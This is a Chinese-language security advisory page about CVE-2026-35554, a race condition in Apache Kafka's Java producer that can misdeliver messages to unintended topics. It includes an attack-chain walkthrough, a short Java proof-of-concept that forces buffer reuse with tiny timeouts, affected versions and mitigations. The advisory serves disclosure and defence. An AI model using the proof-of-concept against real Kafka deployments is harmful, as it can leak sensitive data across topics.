IPBUF安全漏洞报告
English
CVE-2026-35554 CVSS 8.7 高危

CVE-2026-35554 Apache Kafka消息投递竞态漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35554
漏洞类型
竞态条件
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache Kafka

相关标签

竞态条件Apache Kafka数据泄露逻辑漏洞缓冲区管理

漏洞概述

Apache Kafka Java生产者客户端的缓冲区池管理中存在竞态条件漏洞。当生产批次因超过delivery.timeout.ms配置而过期,但相应的网络请求仍在传输中时,该批次的ByteBuffer会被过早地释放并归还给缓冲池。如果随后的生产批次(可能发往不同的主题)在原始网络请求完成之前重用了这块被释放的缓冲区,缓冲区内容可能会发生损坏。这导致消息被静默投递到非预期的主题,从而破坏数据的机密性和完整性,且生产者端不会收到任何错误报告。

技术细节

该漏洞源于Apache Kafka Java生产者客户端在处理缓冲区生命周期时的竞态条件。具体原理如下:生产者发送数据时使用缓冲池中的ByteBuffer。如果网络请求仍在传输中,但该批次因达到delivery.timeout.ms而超时,系统会触发回调并将该ByteBuffer标记为可用,立即归还给缓冲池。此时,如果新的生产请求(可能针对完全不同的Topic)申请内存并复用了这块刚刚释放的Buffer,而旧的网络IO操作尚未完成,就会发生内存冲突。网络线程继续写入旧数据,新线程准备新数据,导致Buffer内容混乱。最终,旧的网络请求实际上发送了被污染的数据,导致本应发往Topic A的消息被发到了Topic B,造成数据泄露和完整性破坏,且客户端无法感知异常。

攻击链分析

STEP 1
步骤1:发送初始请求
攻击者或正常应用通过Kafka生产者向Topic A发送敏感消息,网络请求发出但未完成。
STEP 2
步骤2:触发超时
由于网络延迟或配置过短的delivery.timeout.ms,该批次在传输过程中被判定为超时过期。
STEP 3
步骤3:缓冲区释放
Kafka客户端错误地认为该批次已完成,将包含消息数据的ByteBuffer释放并归还到内存缓冲池。
STEP 4
步骤4:缓冲区重用
应用随即向Topic B发送新消息,生产者从缓冲池中获取了刚才释放的Buffer并写入Topic B的数据。
STEP 5
步骤5:数据损坏
Topic A的原始网络请求仍在进行,继续向该Buffer写入数据,导致Buffer内容混合或覆盖。
STEP 6
步骤6:错误投递
最终导致包含Topic A敏感数据的消息被发送到了Topic B,或者Topic B的消息被损坏,造成数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC Concept for CVE-2026-35554 * This code attempts to trigger the race condition by setting a very short * delivery timeout and sending messages to different topics rapidly. */ import org.apache.kafka.clients.producer.*; import java.util.Properties; public class KafkaRaceConditionPoC { public static void main(String[] args) { Properties props = new Properties(); props.put("bootstrap.servers", "localhost:9092"); props.put("key.serializer", "org.apache.kafka.common.serialization.StringSerializer"); props.put("value.serializer", "org.apache.kafka.common.serialization.StringSerializer"); // Set a very short timeout to force expiration while in flight props.put("delivery.timeout.ms", "1"); props.put("request.timeout.ms", "1"); // Enable batching to increase chance of buffer reuse props.put("linger.ms", "10"); Producer<String, String> producer = new KafkaProducer<>(props); try { // 1. Send to Topic A (Sensitive Data) producer.send(new ProducerRecord<>("Topic-Sensitive", "key", "Secret-Data")); // 2. Simulate network delay or wait for timeout condition Thread.sleep(5); // 3. Rapidly send to Topic B to reuse the freed buffer // This batch may reuse the buffer from Topic A if the race condition occurs for (int i = 0; i < 100; i++) { producer.send(new ProducerRecord<>("Topic-Public", "key", "Public-Data-" + i)); } System.out.println("Messages sent. Check Topic-Public for potential data leakage."); } catch (Exception e) { e.printStackTrace(); } finally { producer.close(); } } }

影响范围

Apache Kafka <= 3.9.1
Apache Kafka <= 4.0.1
Apache Kafka <= 4.1.1

防御指南

临时缓解措施
如果无法立即升级,建议通过适当增加`delivery.timeout.ms`和`request.timeout.ms`的配置值,以减少批次在网络传输期间超时发生的概率,从而降低竞态条件被触发的风险。此外,应严格隔离不同安全级别的Topic,确保高敏感数据的Topic使用独立的生产者实例。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表